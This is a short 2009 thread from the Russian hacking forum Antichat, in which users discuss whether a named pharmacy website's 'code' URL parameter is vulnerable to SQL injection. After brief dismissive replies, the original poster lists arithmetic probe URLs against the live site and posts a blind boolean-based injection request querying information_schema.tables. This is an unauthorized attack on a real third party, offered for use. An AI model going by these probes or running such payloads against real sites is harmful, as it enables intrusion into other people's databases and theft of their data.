Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Болталка (https://forum.antichat.xyz/forumdisplay.php?f=46)
-   -   Есть ли sql-inj? (https://forum.antichat.xyz/showthread.php?t=104946)

Brain explosion 06.02.2009 14:20
Есть ли sql-inj?
 
_http://www.oldlekar.ru/InApteks.aspx?code=[sql-inj]?
Сабж...

groundhog 06.02.2009 14:42
нет

Chaak 06.02.2009 14:48
5 звезд

Brain explosion 06.02.2009 14:52
Ну я понимаю, что редирект в случае ошибки, но правильный запрос можно попытаться составить?
Код:
http://www.oldlekar.ru/InApteks.aspx?code=204835
http://www.oldlekar.ru/InApteks.aspx?code=204836-1
http://www.oldlekar.ru/InApteks.aspx?code=204836
скуля есть, но слепая... ;)
Код:
http://www.oldlekar.ru/InApteks.aspx?code=204836+and+1=(SELECT+TOP+1+1+from+information_schema.tables)


Время: 16:16